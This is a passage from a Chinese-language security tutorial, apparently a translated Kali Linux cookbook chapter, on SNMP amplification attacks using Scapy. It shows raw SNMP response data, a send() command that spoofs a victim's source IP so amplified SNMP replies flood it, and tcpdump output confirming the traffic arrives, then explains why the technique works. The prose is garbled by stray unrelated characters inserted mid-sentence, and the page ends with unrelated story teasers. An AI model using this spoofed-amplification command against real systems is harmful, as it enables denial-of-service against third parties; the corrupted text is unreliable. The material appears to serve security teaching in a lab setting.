x01\x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x01\ x02\x01\x010\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x01\x02\x02\x01\x020\ x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x02\x02\x01\x020(\x06\ n+\x06\x01\x02\x01\x02\x02\x01\x02\x01\x04\x1aMS TCP Loopback interface\ x000\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x03\x02\x01\x030P\ x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x02\x04BAMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport\x000\x10\x06\x0b+\x06\x01\ x02\x01\x19\x02\x03\x01\x01\x04\x02\x01\x040\x0f\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x03\x01\x02\x01\x180\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\ x03\x01\x01\x05\x02\x01\x050\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x03\ x02\x02\x01\x060\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x01\ x06\t+\x06\x01\x02\x01\x19\x02\x01\x050\x10\x06\n+\x06\x01\x02\x01\x02\ x02\x01\x04\x01\x02\x02\x05\xf00\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\ x03\x01\x02\x02\x06\t+\x06\x01\x02\x01\x19\x02\x01\x040\x10\x06\n+\x06\ x01\x02\x01\x02\x02\x01\x04\x02\x02\x02\x05\xdc0\x18\x06\x0b+\x06\x01\ x02\x01\x19\x02\x03\x01\x02\x03\x06\t+\x06\x01\x02\x01\x19\x02\x01\x070\ x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\x01B\x04\x00\x98\x96\x800\ x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x04\x06\t+\x06\x01\x02\ x01\x19\x02\x01\x030\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\x02B\ x04;\x9a\xca\x000\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x05\ x06\t+\x06\x01\x02\x01\x19\x02\x01\x020\x0e\x06\n+\x06\x01\x02\x01\x02\ x02\x01\x06\x01\x04\x000\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x03\x01\x04\x03A:\\0\x14\x06\n+\x06\x01\x02\x01\x02\x02\x01\x06\x02\x04\ x06\x00\x0c)\x18\x11\xfb01\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x02\x04"C:\\ Label:  Serial Number 5838200b0\x0f\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x07\x01\x02\x01\x010\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\ x03\x01\x03\x03\x04\x03D:\\0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x07\ x02\x02\x01\x010\x1d\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x04\ x04\x0eVirtual Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x01\ x02\x01\x010\x1e\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x05\x04\ x0fPhysical Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x02\x02\ x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x01\x02\x01\ x000\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\t\x01C\x01\x000\x11\x06\x0b+\ x06\x01\x02\x01\x19\x02\x03\x01\x04\x02\x02\x02\x10\x000\x11\x06\n+\x06\ x01\x02\x01\x02\x02\x01\t\x02C\x03m\xbb00\x10\x06\x0b+\x06\x01\x02\x01\ x19\x02\x03\x01\x04\x03\x02\x01\x000\x12\x06\n+\x06\x01\x02\x01\x02\x02\ x01\n\x01A\x04\x08OB_0\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\ x04\x02\x03\x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\x02\x01\n\x02A\ x03\rIe0\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x05\x02\x03\ x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\x02\x01\x0b\x01A\x03\x13\x14\ xde0\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\x01\x02\x01\x000\ x10\x06\n+\x06\x01\x02\x01\x02\x02\x01\x0b\x02A\x02\x1e\xc10\x13\x06\ x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\x02\x02\x04\x00\x9f\xf6a0\x0f\ x06\n+\x06\x01\x02\x01\x02\x02\x01\x0c\x01A\x01\x000\x10\x06\x0b+\x06\ x01\x02\x01\x19\x02\x03\x01\x05\x03\x02\x01\x00' |>>> 

為了實(shí)際將此命令用作攻擊粟耻,源 IP 地址需要更改為目標(biāo)系統(tǒng)的 IP 地址查近。 這樣,我們應(yīng)該能夠?qū)⑤d荷重定向給那個(gè)受害者挤忙。 這可以通過(guò)將 IP src值更改為目標(biāo) IP 地址的字符串來(lái)完成:

>>> send(IP(dst="172.16.36.134",src="172.16.36.135")/ UDP(sport=161,dport=161)/SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist =[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1. 3.6.1.2.1.19.1.3'))])),verbose=1,count=2) 
. 
Sent 2 packets. 

send()函數(shù)應(yīng)該用于發(fā)送這些偽造請(qǐng)求霜威,因?yàn)轫憫?yīng)返回預(yù)期不會(huì)給本地接口。 要確認(rèn)載荷是否到達(dá)目標(biāo)系統(tǒng)册烈,可以使用 TCPdump 捕獲傳入流量:

admin@ubuntu:~$ sudo tcpdump -i eth0 -vv src 172.16.36.134 
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 
13:32:14.210732 IP (tos 0x0, ttl 128, id 5944, offset 0, flags [+], proto UDP (17), length 1500) 172.16.36.134.snmp > 172.16.36.135.snmp:  [len1468<asnlen2150] 
13:32:14.210732 IP (tos 0x0, ttl 128, id 5944, offset 1480, flags [none], proto UDP (17), length 702) 172.16.36.134 > 172.16.36.135: udp
13:32:35.133384 IP (tos 0x0, ttl 128, id 8209, offset 0, flags [+], proto UDP (17), length 1500) 172.16.36.134.snmp > 172.16.36.135.snmp:  [len1468<asnlen2150] 
13:32:35.133384 IP (tos 0x0, ttl 128, id 8209, offset 1480, flags [none], proto UDP (17), length 702) 172.16.36.134 > 172.16.36.135: udp

4 packets captured 
4 packets received by filter 
0 packets dropped by kernel 

在所提供的示例中戈泼,TCPdump 配置為捕獲eth0接口上,來(lái)自源IP地址172.16.36.134(SNMP 主機(jī)的IP地址)的流量。

工作原理

放大攻擊的原理是利用第三方設(shè)備大猛,使網(wǎng)絡(luò)流量壓倒目標(biāo)扭倾。 對(duì)于多數(shù)放大攻擊,必須滿(mǎn)足兩個(gè)條件:

  • 用于執(zhí)行攻擊的協(xié)議不驗(yàn)證請(qǐng)求源
  • 來(lái)自所使用的網(wǎng)絡(luò)功能的響應(yīng)應(yīng)該顯著大于用于請(qǐng)求它的請(qǐng)求挽绩。

SNMP 放大攻擊的效率取決于 SNMP 查詢(xún)的響應(yīng)大小膛壹。 另外,可以通過(guò)使用多個(gè) SNMP 服務(wù)器來(lái)增加攻擊的威力唉堪。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末模聋,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子唠亚,更是在濱河造成了極大的恐慌撬槽,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,539評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件趾撵,死亡現(xiàn)場(chǎng)離奇詭異侄柔,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)占调,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,594評(píng)論 3 396
  • 文/潘曉璐 我一進(jìn)店門(mén)暂题,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人究珊,你說(shuō)我怎么就攤上這事薪者。” “怎么了剿涮?”我有些...
    開(kāi)封第一講書(shū)人閱讀 165,871評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵言津,是天一觀(guān)的道長(zhǎng)。 經(jīng)常有香客問(wèn)我取试,道長(zhǎng)悬槽,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,963評(píng)論 1 295
  • 正文 為了忘掉前任瞬浓,我火速辦了婚禮初婆,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘猿棉。我一直安慰自己磅叛,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,984評(píng)論 6 393
  • 文/花漫 我一把揭開(kāi)白布萨赁。 她就那樣靜靜地躺著弊琴,像睡著了一般。 火紅的嫁衣襯著肌膚如雪杖爽。 梳的紋絲不亂的頭發(fā)上敲董,一...
    開(kāi)封第一講書(shū)人閱讀 51,763評(píng)論 1 307
  • 那天紫皇,我揣著相機(jī)與錄音,去河邊找鬼臣缀。 笑死坝橡,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的精置。 我是一名探鬼主播计寇,決...
    沈念sama閱讀 40,468評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼脂倦!你這毒婦竟也來(lái)了番宁?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,357評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤赖阻,失蹤者是張志新(化名)和其女友劉穎蝶押,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體火欧,經(jīng)...
    沈念sama閱讀 45,850評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡棋电,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,002評(píng)論 3 338
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了苇侵。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片赶盔。...
    茶點(diǎn)故事閱讀 40,144評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖榆浓,靈堂內(nèi)的尸體忽然破棺而出于未,到底是詐尸還是另有隱情,我是刑警寧澤陡鹃,帶...
    沈念sama閱讀 35,823評(píng)論 5 346
  • 正文 年R本政府宣布烘浦,位于F島的核電站,受9級(jí)特大地震影響萍鲸,放射性物質(zhì)發(fā)生泄漏闷叉。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,483評(píng)論 3 331
  • 文/蒙蒙 一猿推、第九天 我趴在偏房一處隱蔽的房頂上張望片习。 院中可真熱鬧,春花似錦蹬叭、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,026評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至饥悴,卻和暖如春坦喘,著一層夾襖步出監(jiān)牢的瞬間盲再,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,150評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工瓣铣, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留答朋,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,415評(píng)論 3 373
  • 正文 我出身青樓棠笑,卻偏偏與公主長(zhǎng)得像梦碗,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子蓖救,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,092評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容